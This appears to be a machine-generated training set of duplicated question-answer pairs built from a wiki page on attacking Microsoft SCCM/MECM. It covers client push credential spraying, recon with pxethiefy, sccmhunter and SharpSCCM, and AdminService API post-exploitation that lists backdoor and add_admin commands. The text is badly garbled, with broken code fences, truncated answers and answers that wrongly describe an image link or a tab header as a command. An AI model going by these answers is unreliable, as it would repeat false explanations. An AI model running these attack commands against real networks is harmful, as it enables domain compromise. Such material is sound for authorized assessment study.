[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do SCCM / MECM - Deployment types

[Assistant]
When SCCM is installed in an Active Directory, the clients can be deployed on the workstations by six different ways:

* Client push installation (default)
* Software update-based installation
* Group Policy installation
* Manual installation
* Logon script installation
* Package and program installation

::: details Client push installation
The first way of deploying SCCM is the Client push installation method, which is the default one and the least secure.

This installation will use "client push accounts". They are service accounts with local administrative rights on the assets where SCCM will have to deploy some stuff. The system administrator creates groups of endpoints and for each of those, one "client push account". For each group, only one "client push account" can authenticate with administrator rights on the assets of this group. Thus, if an account is compromised, only the members of the corresponding group can be compromised in turn.

When the SCCM deployment is launched, it will basically try to authenticate with each client push accounts on each asset, and if the authentication fails, SCCM will try the next account in line. When the authentication succeeds, it moves to the following asset, and so on until the deployment is complete.

SCCM deployment via Client push installation is service accounts credentials spraying in a nutshell.

_Nota bene, there is a_ _feature_ _(not enabled by default) allowing for automatic client push installation on all discovered clients in a boundary group in an SCCM site._
:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do SCCM / MECM - Deployment types

Response:
When SCCM is installed in an Active Directory, the clients can be deployed on the workstations by six different ways:

* Client push installation (default)
* Software update-based installation
* Group Policy installation
* Manual installation
* Logon script installation
* Package and program installation

::: details Client push installation
The first way of deploying SCCM is the Client push installation method, which is the default one and the least secure.

This installation will use "client push accounts". They are service accounts with local administrative rights on the assets where SCCM will have to deploy some stuff. The system administrator creates groups of endpoints and for each of those, one "client push account". For each group, only one "client push account" can authenticate with administrator rights on the assets of this group. Thus, if an account is compromised, only the members of the corresponding group can be compromised in turn.

When the SCCM deployment is launched, it will basically try to authenticate with each client push accounts on each asset, and if the authentication fails, SCCM will try the next account in line. When the authentication succeeds, it moves to the following asset, and so on until the deployment is complete.

SCCM deployment via Client push installation is service accounts credentials spraying in a nutshell.

_Nota bene, there is a_ _feature_ _(not enabled by default) allowing for automatic client push installation on all discovered clients in a boundary group in an SCCM site._
:::


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of SCCM / MECM - Attack path overview

[Assistant]
![](<./assets/SCCM-Attack-Surface-Overview.png>)

SCCM Attack Surface Overview{.caption}

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of SCCM / MECM - Attack path overview

Response:
![](<./assets/SCCM-Attack-Surface-Overview.png>)

SCCM Attack Surface Overview{.caption}


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through SCCM / MECM - Attack path overview

[Assistant]
![](<./assets/SCCM-Attack-Surface-Overview.png>)

SCCM Attack Surface Overview{.caption}

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through SCCM / MECM - Attack path overview

Response:
![](<./assets/SCCM-Attack-Surface-Overview.png>)

SCCM Attack Surface Overview{.caption}


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does SCCM / MECM - Recon work?

[Assistant]
SCCM reconnaissance can be performed in many ways. The goal is to enumerate whether SCCM is present in a target network, and which are the assets related to it.

::: tabs

=== UNIX-like

pxethiefy.py (Python), which is based on PXEThief, can be used to query for PXE boot media. The Pre-Boot Execution Environment (PXE) is a mechanism for booting a computer over the network. Specifically, instead of booting from a CD drive, USB key or hard disk and finding the boot program, the PC will use the network to read such a program from the PXE server.

![](<./assets/SCCM_Recon_Linux_pxethiefy.png>)

There are a few things to note:

* pxethiefy.py uses broadcast requests to request DHCP PXE boot options. An SCCM setup does not have to support PXE boot and a "found" PXE server does not have to be an SCCM component. Be cautious of false positive results.
* In this case a PXE server was found and PXE media was downloaded. The location of the PXE media on the TFTP server is \SMSTemp\..., which indicates that this is indeed an SCCM server.

sccmhunter (Python) can also be used to explore the Active Directory and search for SCCM/MECM assets. For this tool, a first user account is required. The first step is to retrieve the different assets in the LDAP annuary, and extract information from the identified servers SMB shares.

For each server, the extracted information are :
* the SCCM site code
* if the server is a Central Administration Site (CAS) or not
* the SMB signing status (useful to perform later NTLM relay attacks)
* if the server is the SCCM Primary Site server or not
* if it is the SCCM Distribution Point or not
* if it is the SCCM SMS Provider or not
* if there are the WSUS and MSSQL services running on it or not

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
SCCM reconnaissance can be performed in many ways. The goal is to enumerate whether SCCM is present in a target network, and which are the assets related to it.

::: tabs

=== UNIX-like

pxethiefy.py (Python), which is based on PXEThief, can be used to query for PXE boot media. The Pre-Boot Execution Environment (PXE) is a mechanism for booting a computer over the network. Specifically, instead of booting from a CD drive, USB key or hard disk and finding the boot program, the PC will use the network to read such a program from the PXE server.

![](<./assets/SCCM_Recon_Linux_pxethiefy.png>)

There are a few things to note:

* pxethiefy.py uses broadcast requests to request DHCP PXE boot options. An SCCM setup does not have to support PXE boot and a "found" PXE server does not have to be an SCCM component. Be cautious of false positive results.
* In this case a PXE server was found and PXE media was downloaded. The location of the PXE media on the TFTP server is \SMSTemp\..., which indicates that this is indeed an SCCM server.

sccmhunter (Python) can also be used to explore the Active Directory and search for SCCM/MECM assets. For this tool, a first user account is required. The first step is to retrieve the different assets in the LDAP annuary, and extract information from the identified servers SMB shares.

For each server, the extracted information are :
* the SCCM site code
* if the server is a Central Administration Site (CAS) or not
* the SMB signing status (useful to perform later NTLM relay attacks)
* if the server is the SCCM Primary Site server or not
* if it is the SCCM Distribution Point or not
* if it is the SCCM SMS Provider or not
* if there are the WSUS and MSSQL services running on it or not

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute SCCM / MECM - Recon?

[Assistant]
SCCM reconnaissance can be performed in many ways. The goal is to enumerate whether SCCM is present in a target network, and which are the assets related to it.

::: tabs

=== UNIX-like

pxethiefy.py (Python), which is based on PXEThief, can be used to query for PXE boot media. The Pre-Boot Execution Environment (PXE) is a mechanism for booting a computer over the network. Specifically, instead of booting from a CD drive, USB key or hard disk and finding the boot program, the PC will use the network to read such a program from the PXE server.

![](<./assets/SCCM_Recon_Linux_pxethiefy.png>)

There are a few things to note:

* pxethiefy.py uses broadcast requests to request DHCP PXE boot options. An SCCM setup does not have to support PXE boot and a "found" PXE server does not have to be an SCCM component. Be cautious of false positive results.
* In this case a PXE server was found and PXE media was downloaded. The location of the PXE media on the TFTP server is \SMSTemp\..., which indicates that this is indeed an SCCM server.

sccmhunter (Python) can also be used to explore the Active Directory and search for SCCM/MECM assets. For this tool, a first user account is required. The first step is to retrieve the different assets in the LDAP annuary, and extract information from the identified servers SMB shares.

For each server, the extracted information are :
* the SCCM site code
* if the server is a Central Administration Site (CAS) or not
* the SMB signing status (useful to perform later NTLM relay attacks)
* if the server is the SCCM Primary Site server or not
* if it is the SCCM Distribution Point or not
* if it is the SCCM SMS Provider or not
* if there are the WSUS and MSSQL services running on it or not

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
SCCM reconnaissance can be performed in many ways. The goal is to enumerate whether SCCM is present in a target network, and which are the assets related to it.

::: tabs

=== UNIX-like

pxethiefy.py (Python), which is based on PXEThief, can be used to query for PXE boot media. The Pre-Boot Execution Environment (PXE) is a mechanism for booting a computer over the network. Specifically, instead of booting from a CD drive, USB key or hard disk and finding the boot program, the PC will use the network to read such a program from the PXE server.

![](<./assets/SCCM_Recon_Linux_pxethiefy.png>)

There are a few things to note:

* pxethiefy.py uses broadcast requests to request DHCP PXE boot options. An SCCM setup does not have to support PXE boot and a "found" PXE server does not have to be an SCCM component. Be cautious of false positive results.
* In this case a PXE server was found and PXE media was downloaded. The location of the PXE media on the TFTP server is \SMSTemp\..., which indicates that this is indeed an SCCM server.

sccmhunter (Python) can also be used to explore the Active Directory and search for SCCM/MECM assets. For this tool, a first user account is required. The first step is to retrieve the different assets in the LDAP annuary, and extract information from the identified servers SMB shares.

For each server, the extracted information are :
* the SCCM site code
* if the server is a Central Administration Site (CAS) or not
* the SMB signing status (useful to perform later NTLM relay attacks)
* if the server is the SCCM Primary Site server or not
* if it is the SCCM Distribution Point or not
* if it is the SCCM SMS Provider or not
* if there are the WSUS and MSSQL services running on it or not

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Find the assets in the LDAP configuration in the context of penetration testing

[Assistant] sccmhunter.py find -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Find the assets in the LDAP configuration in the context of penetration testing

Response: sccmhunter.py find -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Find the assets in the LDAP configuration

[Assistant] sccmhunter.py find -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Find the assets in the LDAP configuration

Response: sccmhunter.py find -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Retrieve informations regarding the identified servers and save PXE variables

[Assistant]
sccmhunter.py smb -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC -save
``

When information gathering is finished, the second step is to display the results with the show command:

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain Retrieve informations regarding the identified servers and save PXE variables

Response:
sccmhunter.py smb -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC -save
``

When information gathering is finished, the second step is to display the results with the show command:

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Retrieve informations regarding the identified servers and save PXE variables

[Assistant]
sccmhunter.py smb -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC -save
``

When information gathering is finished, the second step is to display the results with the show command:

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Retrieve informations regarding the identified servers and save PXE variables

Response:
sccmhunter.py smb -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC -save
``

When information gathering is finished, the second step is to display the results with the show command:

``bash


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use When for retrieve informations regarding the identified servers and save pxe variables?

[Assistant] When information gathering is finished, the second step is to display the results with the `show` command:

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use When for retrieve informations regarding the identified servers and save pxe variables?

Response: When information gathering is finished, the second step is to display the results with the `show` command:


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Retrieve informations regarding the identified servers and save PXE variables?

[Assistant] When information gathering is finished, the second step is to display the results with the `show` command:

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Retrieve informations regarding the identified servers and save PXE variables?

Response: When information gathering is finished, the second step is to display the results with the `show` command:


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `When information gathering is finished, the second step is to display the results with the `show` command:`?

[Assistant] This command is used for retrieve informations regarding the identified servers and save pxe variables. Retrieve informations regarding the identified servers and save PXE variables

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `When information gathering is finished, the second step is to display the results with the `show` command:`?

Response: This command is used for retrieve informations regarding the identified servers and save pxe variables. Retrieve informations regarding the identified servers and save PXE variables


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about View everything?

[Assistant]
sccmhunter.py show -all
``

=== Windows

Using LDAP queries from a domain-joined Windows machine:

``powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about View everything?

Response:
sccmhunter.py show -all
``

=== Windows

Using LDAP queries from a domain-joined Windows machine:

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for View everything?

[Assistant]
sccmhunter.py show -all
``

=== Windows

Using LDAP queries from a domain-joined Windows machine:

``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
sccmhunter.py show -all
``

=== Windows

Using LDAP queries from a domain-joined Windows machine:

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for View everything?

[Assistant]
=== Windows

Using LDAP queries from a domain-joined Windows machine:

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
=== Windows

Using LDAP queries from a domain-joined Windows machine:


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `=== Windows`?

[Assistant] This command is used for view everything. View everything

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `=== Windows`?

Response: This command is used for view everything. View everything


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe LDAP search via PS in the context of penetration testing

[Assistant]
(ADSISearcher).FindAll() | % {$_.Properties}
``

![](<./assets/SCCM_Recon_ADSI.png>)

Using WMI queries or SharpSCCM to query a clients local WMI database:

``powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe LDAP search via PS in the context of penetration testing

Response:
(ADSISearcher).FindAll() | % {$_.Properties}
``

![](<./assets/SCCM_Recon_ADSI.png>)

Using WMI queries or SharpSCCM to query a clients local WMI database:

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for LDAP search via PS

[Assistant]
(ADSISearcher).FindAll() | % {$_.Properties}
``

![](<./assets/SCCM_Recon_ADSI.png>)

Using WMI queries or SharpSCCM to query a clients local WMI database:

``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for LDAP search via PS

Response:
(ADSISearcher).FindAll() | % {$_.Properties}
``

![](<./assets/SCCM_Recon_ADSI.png>)

Using WMI queries or SharpSCCM to query a clients local WMI database:

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform LDAP search via PS?

[Assistant]
![](<./assets/SCCM_Recon_ADSI.png>)

Using WMI queries or [SharpSCCM](https://github.com/Mayyhem/SharpSCCM) to query a clients local WMI database:

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
![](<./assets/SCCM_Recon_ADSI.png>)

Using WMI queries or [SharpSCCM](https://github.com/Mayyhem/SharpSCCM) to query a clients local WMI database:


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `![](<./assets/SCCM_Recon_ADSI.png>)`?

[Assistant] This command is used for ldap search via ps. LDAP search via PS

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `![](<./assets/SCCM_Recon_ADSI.png>)`?

Response: This command is used for ldap search via ps. LDAP search via PS


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of WMI

[Assistant] Get-WmiObject -Class SMS_Authority -Namespace root\CCM

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: Get-WmiObject -Class SMS_Authority -Namespace root\CCM


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform WMI?

[Assistant] Get-WmiObject -Class SMS_Authority -Namespace root\CCM

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: Get-WmiObject -Class SMS_Authority -Namespace root\CCM


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is SharmSCCP?

[Assistant]
SharpSCCM.exe local site-info
```

![](<./assets/SCCM_Recon_WMI-SharpSCCM.png>)

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
SharpSCCM.exe local site-info
```

![](<./assets/SCCM_Recon_WMI-SharpSCCM.png>)

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform SharmSCCP?

[Assistant]
SharpSCCM.exe local site-info
```

![](<./assets/SCCM_Recon_WMI-SharpSCCM.png>)

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
SharpSCCM.exe local site-info
```

![](<./assets/SCCM_Recon_WMI-SharpSCCM.png>)

:::


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe SCCM / MECM - Abuse in the context of penetration testing

[Assistant] The different phases of an SCCM environment compromise are detailled in the following sections.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe SCCM / MECM - Abuse in the context of penetration testing

Response: The different phases of an SCCM environment compromise are detailled in the following sections.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do SCCM / MECM - Abuse

[Assistant] The different phases of an SCCM environment compromise are detailled in the following sections.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: The different phases of an SCCM environment compromise are detailled in the following sections.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe SCCM / MECM - Privilege Escalation in the context of penetration testing

[Assistant]
This page will describe how to compromise a SCCM infrastructure.

> [!TIP]
> Read the privilege-escalation section for more insight

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe SCCM / MECM - Privilege Escalation in the context of penetration testing

Response:
This page will describe how to compromise a SCCM infrastructure.

> [!TIP]
> Read the privilege-escalation section for more insight


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute SCCM / MECM - Privilege Escalation?

[Assistant]
This page will describe how to compromise a SCCM infrastructure.

> [!TIP]
> Read the privilege-escalation section for more insight

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute SCCM / MECM - Privilege Escalation?

Response:
This page will describe how to compromise a SCCM infrastructure.

> [!TIP]
> Read the privilege-escalation section for more insight


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of SCCM / MECM - Post-exploitation (i.e. lateral movement)

[Assistant]
After the SCCM infrastructure compromise, this page will describe how to pivot through the network with the help of the SCCM features.

> [!TIP]
> Read the lateral-movement section for more insight

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of SCCM / MECM - Post-exploitation (i.e. lateral movement)

Response:
After the SCCM infrastructure compromise, this page will describe how to pivot through the network with the help of the SCCM features.

> [!TIP]
> Read the lateral-movement section for more insight


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on SCCM / MECM - Post-exploitation (i.e. lateral movement)

[Assistant]
After the SCCM infrastructure compromise, this page will describe how to pivot through the network with the help of the SCCM features.

> [!TIP]
> Read the lateral-movement section for more insight

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on SCCM / MECM - Post-exploitation (i.e. lateral movement)

Response:
After the SCCM infrastructure compromise, this page will describe how to pivot through the network with the help of the SCCM features.

> [!TIP]
> Read the lateral-movement section for more insight


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about AdminService API - Theory?

[Assistant]
It appears that, with SCCM administrative rights, it is possible to directly interact with the AdminService API, without using CMPivot, for post SCCM exploitation purpose.

> [!CAUTION]
> Prior to Configuration Manager version 2509, the AdminService API was vulnerable to NTLM relay attacks, allowing attackers to take over the SCCM hierarchy by relaying coerced NTLM authentication from site servers to remote SMS Providers. This vulnerability has been patched in version 2509, which now rejects NTLM authentication attempts. For more details, see TAKEOVER-5 and Microsoft's update notes.

> [!TIP]
> For additional attack techniques and defense strategies related to AdminService API abuse in SCCM, refer to the following techniques from the Misconfiguration-Manager repository:
> - RECON-4: CMPivot
> - RECON-5: SMS Provider Enumeration
> - CRED-7: AdminService API Credentials

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about AdminService API - Theory?

Response:
It appears that, with SCCM administrative rights, it is possible to directly interact with the AdminService API, without using CMPivot, for post SCCM exploitation purpose.

> [!CAUTION]
> Prior to Configuration Manager version 2509, the AdminService API was vulnerable to NTLM relay attacks, allowing attackers to take over the SCCM hierarchy by relaying coerced NTLM authentication from site servers to remote SMS Providers. This vulnerability has been patched in version 2509, which now rejects NTLM authentication attempts. For more details, see TAKEOVER-5 and Microsoft's update notes.

> [!TIP]
> For additional attack techniques and defense strategies related to AdminService API abuse in SCCM, refer to the following techniques from the Misconfiguration-Manager repository:
> - RECON-4: CMPivot
> - RECON-5: SMS Provider Enumeration
> - CRED-7: AdminService API Credentials


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform AdminService API - Theory?

[Assistant]
It appears that, with SCCM administrative rights, it is possible to directly interact with the AdminService API, without using CMPivot, for post SCCM exploitation purpose.

> [!CAUTION]
> Prior to Configuration Manager version 2509, the AdminService API was vulnerable to NTLM relay attacks, allowing attackers to take over the SCCM hierarchy by relaying coerced NTLM authentication from site servers to remote SMS Providers. This vulnerability has been patched in version 2509, which now rejects NTLM authentication attempts. For more details, see TAKEOVER-5 and Microsoft's update notes.

> [!TIP]
> For additional attack techniques and defense strategies related to AdminService API abuse in SCCM, refer to the following techniques from the Misconfiguration-Manager repository:
> - RECON-4: CMPivot
> - RECON-5: SMS Provider Enumeration
> - CRED-7: AdminService API Credentials

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform AdminService API - Theory?

Response:
It appears that, with SCCM administrative rights, it is possible to directly interact with the AdminService API, without using CMPivot, for post SCCM exploitation purpose.

> [!CAUTION]
> Prior to Configuration Manager version 2509, the AdminService API was vulnerable to NTLM relay attacks, allowing attackers to take over the SCCM hierarchy by relaying coerced NTLM authentication from site servers to remote SMS Providers. This vulnerability has been patched in version 2509, which now rejects NTLM authentication attempts. For more details, see TAKEOVER-5 and Microsoft's update notes.

> [!TIP]
> For additional attack techniques and defense strategies related to AdminService API abuse in SCCM, refer to the following techniques from the Misconfiguration-Manager repository:
> - RECON-4: CMPivot
> - RECON-5: SMS Provider Enumeration
> - CRED-7: AdminService API Credentials


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about AdminService API - Practice

[Assistant]
::: tabs

=== UNIX-like

From UNIX-like systems, sccmhunter (Python) can be used for this purpose.

``bash
sccmhunter.py admin -u "$USER" -p "$PASSWORD" -ip "site_server_IP"
`

Then, the help command can be typed in the opened shell to view all the CMPivot commands handled by sccmhunter.

`
() C:\ >> help

Documented commands (use 'help -v' for verbose/'help ' for details):

Database Commands
=================
get_collection get_device get_lastlogon get_puser get_user

Interface Commands
==================
exit interact

PostEx Commands
===============
add_admin backdoor backup delete_admin restore script

Situational Awareness Commands
==============================
administrators console_users ipconfig osinfo sessions
cat disk list_disk ps shares
cd environment ls services software
`

=== Windows

From Windows systems, SharpSCCM (C#) can be used for this purpose.

Step 1: retrieve the ID of the resource to enumerate (a computer or a computer collection)

`powershell
SharpSCCM.exe get resource-id -d "COMPUTER"
`

---
Step 2: execute administrative tasks with CMPivot requests

``powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about AdminService API - Practice

Response:
::: tabs

=== UNIX-like

From UNIX-like systems, sccmhunter (Python) can be used for this purpose.

``bash
sccmhunter.py admin -u "$USER" -p "$PASSWORD" -ip "site_server_IP"
`

Then, the help command can be typed in the opened shell to view all the CMPivot commands handled by sccmhunter.

`
() C:\ >> help

Documented commands (use 'help -v' for verbose/'help ' for details):

Database Commands
=================
get_collection get_device get_lastlogon get_puser get_user

Interface Commands
==================
exit interact

PostEx Commands
===============
add_admin backdoor backup delete_admin restore script

Situational Awareness Commands
==============================
administrators console_users ipconfig osinfo sessions
cat disk list_disk ps shares
cd environment ls services software
`

=== Windows

From Windows systems, SharpSCCM (C#) can be used for this purpose.

Step 1: retrieve the ID of the resource to enumerate (a computer or a computer collection)

`powershell
SharpSCCM.exe get resource-id -d "COMPUTER"
`

---
Step 2: execute administrative tasks with CMPivot requests

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do AdminService API - Practice

[Assistant]
::: tabs

